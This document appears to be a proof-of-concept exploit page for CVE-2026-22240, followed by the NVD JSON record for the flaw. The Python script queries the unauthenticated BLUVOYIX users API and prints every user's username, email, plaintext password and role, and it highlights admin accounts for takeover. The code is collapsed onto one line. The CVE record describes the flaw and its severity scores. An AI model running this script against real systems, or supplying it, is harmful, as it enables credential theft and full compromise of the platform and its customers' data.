CVE-2026-22240

import requests import json # CVE-2026-22240 PoC - BLUVOYIX Plaintext Password Exposure # Target: BLUVOYIX users API endpoint # Note: This is for authorized security testing only def exploit_cve_2026_22240(target_url): """ Exploit for CVE-2026-22240: BLUVOYIX plaintext password exposure via unauthenticated API access """ try: # Target the vulnerable users API endpoint api_endpoint = f"{target_url}/api/v1/users" # Send unauthenticated HTTP GET request headers = { 'User-Agent': 'Mozilla/5.0 (Security Test)', 'Accept': 'application/json' } print(f"[*] Sending request to: {api_endpoint}") response = requests.get(api_endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved user data!") print("\n[*] Exposed credentials:") # Extract and display plaintext passwords for user in data.get('users', []): username = user.get('username', 'N/A') email = user.get('email', 'N/A') password = user.get('password', 'N/A') # Plaintext password! role = user.get('role', 'N/A') print(f"\n[+] Username: {username}") print(f"[+] Email: {email}") print(f"[+] Password: {password}") print(f"[+] Role: {role}") # Check for admin accounts if role == 'admin' or 'admin' in email.lower(): print("[!] ADMIN ACCOUNT COMPROMISED!") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") # Example usage if __name__ == "__main__": target = "https://vulnerable-bluvoyix-instance.com" exploit_cve_2026_22240(target)

{"cve": {"id": "CVE-2026-22240", "sourceIdentifier": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "published": "2026-01-14T15:16:05.413", "lastModified": "2026-02-02T15:50:22.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability exists in BLUVOYIX due to an improper password storage implementation and subsequent exposure via unauthenticated APIs. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted HTTP requests to the vulnerable users API to retrieve the plaintext passwords of all user users. Successful exploitation of this vulnerability could allow the attacker to gain full access to customers' data and completely compromise the targeted platform by logging in using an exposed admin email address and password."}, {"lang": "es", "value": "La vulnerabilidad existe en BLUVOYIX debido a una implementación inadecuada de almacenamiento de contraseñas y su posterior exposición a través de APIs no autenticadas. Un atacante remoto no autenticado podría explotar esta vulnerabilidad enviando solicitudes HTTP especialmente diseñadas a la API de usuarios vulnerable para recuperar las contraseñas en texto plano de todos los usuarios de usuario. La explotación exitosa de esta vulnerabilidad podría permitir al atacante obtener acceso completo a los datos de los clientes y comprometer completamente la plataforma objetivo iniciando sesión con una dirección de correo electrónico y contraseña de administrador expuestas."}], "metrics": {"cvssMetricV40": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:M/U:Red", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}, {"lang": "en", "value": "CWE-522"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blusparkglobal:bluvoyix:-:*:*:*:*:*:*:*", "matchCriteriaId": "84FDD5FA-DB87-4263-A7F2-C136D7F4155C"}]}]}], "references": [{"url": "https://blusparkglobal.com/bluvoyix/", "source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "tags": ["Product"]}]}}